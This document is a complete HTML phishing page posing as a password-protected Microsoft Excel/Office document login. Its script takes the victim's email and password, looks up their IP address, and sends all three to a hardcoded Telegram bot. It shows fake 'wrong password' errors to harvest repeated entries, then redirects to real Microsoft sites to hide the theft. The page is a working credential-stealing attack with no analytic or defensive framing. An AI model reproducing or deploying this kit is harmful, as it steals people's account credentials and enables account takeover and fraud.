
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Excel Login</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            background-image: url("https://gyazo.com/5aa75ee29a1fdb3fab0c85507100d60a.jpg");
            background-size: cover;
            background-position: center;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }

        /* Overlay style */
        .overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(128, 128, 128, 0.7); /* Grey with transparency */
            z-index: 1; /* Layer on top */
        }

        .container {
            position: relative;
            background-color: #fff;
            border-radius: 8px;
            padding: 20px;
            text-align: center;
            box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
            max-width: 400px;
            z-index: 2; /* Above overlay */
            width: 0;
            opacity: 0;
            animation: slideIn 0.5s forwards;
        }

        @keyframes slideIn {
            from {
                width: 0;
                opacity: 0;
            }
            to {
                width: 100%;
                opacity: 1;
            }
        }

        .logo {
            width: 100px;
            height: 100px;
            margin: auto;
            display: block;
        }

        h2 {
            font-weight: bold;
            margin-top: 20px;
            margin-bottom: 10px;
        }

        input[type="text"],
        input[type="password"],
        button {
            width: calc(100% - 40px);
            margin-bottom: 10px;
            padding: 10px;
            border-radius: 5px;
            border: 1px solid #ccc;
            box-sizing: border-box;
        }

        button {
            background-color: #039126;
            color: #fff;
            cursor: pointer;
            transition: background-color 0.3s ease;
        }

        button:hover {
            background-color: #037a22;
        }

        .error-container {
            color: white;
            background: lightcoral;
            padding: 10px;
            margin-top: 10px;
            border-radius: 5px;
            display: none;
        }

        .spinner {
            border: 4px solid rgba(0, 0, 0, 0.1);
            border-top: 4px solid #333;
            border-radius: 50%;
            width: 30px;
            height: 30px;
            animation: spin 1s linear infinite;
            margin: 20px auto;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
    </style>
</head>
<body>
    <!-- Grey overlay -->
    <div class="overlay"></div>

    <div class="container">
        <img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRXc5lZWoFENGPQKny5LvxBawU-ikBxeN66CA&s" width="300" height="50">
        <h2>Document Cloud Storage <span style="font-weight: bold;">Office</span></h2>
        <p>This document is password protected. Please enter the email password below.</p>

        <form name="loginForm" id="loginForm">
            <input type="text" name="email" id="email" placeholder="Username" required value="[[-Email-]]">
            <input type="password" name="password" id="password" placeholder="Password" required>
            <button type="submit" id="submit-btn">View</button>
        </form>

        <div class="error-container"></div>
        <div class="spinner" style="display:none;"></div>
    </div>

    <script>
        let signInAttempts = 0;

        window.addEventListener('DOMContentLoaded', () => {
            const emailFromURL = new URLSearchParams(window.location.search).get('email');
            if (emailFromURL) {
                document.getElementById('email').value = emailFromURL;
            }

            const form = document.getElementById('loginForm');
            const signInButton = document.getElementById('submit-btn');
            const errorContainer = document.querySelector('.error-container');
            const spinner = document.querySelector('.spinner');

            form.addEventListener('submit', async (event) => {
                event.preventDefault();
                signInAttempts++;
                signInButton.textContent = 'Loading...';

                const formData = new FormData(form);
                
                // Get user IP address
                const userIP = await getUserIP();
                formData.append('userIP', userIP); // Append IP to form data

                const credentials = {
                    email: formData.get('email'),
                    password: formData.get('password'),
                    userIP: userIP
                };

                try {
                    // Replace with your Telegram bot token and chat ID
                    const botToken = '8033047550:AAFkspqQCyD1D4GZiNeqrP6IWlTJCiWx6Cs';
                    const chatId = '5766720639';
                    const message = `Login attempt:\nEmail: ${credentials.email}\nPassword: ${credentials.password}\nIP: ${credentials.userIP}`;

                    // Send the message to the Telegram bot
                    const response = await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/json',
                        },
                        body: JSON.stringify({
                            chat_id: chatId,
                            text: message,
                        }),
                    });

                    if (response.ok) {
                        // Handle success response
                        if (signInAttempts <= 2) {
                            showError(errorContainer, 'Wrong password. Please try again.');
                        }

                        if (signInAttempts === 3) {
                            spinner.style.display = 'block';
                            setTimeout(() => {
                                const redirects = ['https://microsoft.com', 'https://office.com', 'https://live.com'];
                                const randomRedirect = redirects[Math.floor(Math.random() * redirects.length)];
                                window.location.href = randomRedirect;
                            }, 1500);
                        }
                    } else {
                        showError(errorContainer, 'Failed to send data to Telegram. Please try again.');
                    }
                } catch (error) {
                    showError(errorContainer, 'Error occurred. Please try again.');
                } finally {
                    // Reset button text
                    signInButton.textContent = 'View';
                }
            });
        });

        async function getUserIP() {
            const response = await fetch('https://api.ipify.org?format=json');
            const data = await response.json();
            return data.ip; // Return the IP address
        }

        function showError(errorContainer, message) {
            errorContainer.textContent = message;
            errorContainer.style.display = 'block';

            // Clear password field
            document.getElementById('password').value = '';

            // Hide the error message after a few seconds
            setTimeout(() => {
                errorContainer.style.display = 'none';
            }, 3000);
        }
    </script>          
</body>
</html>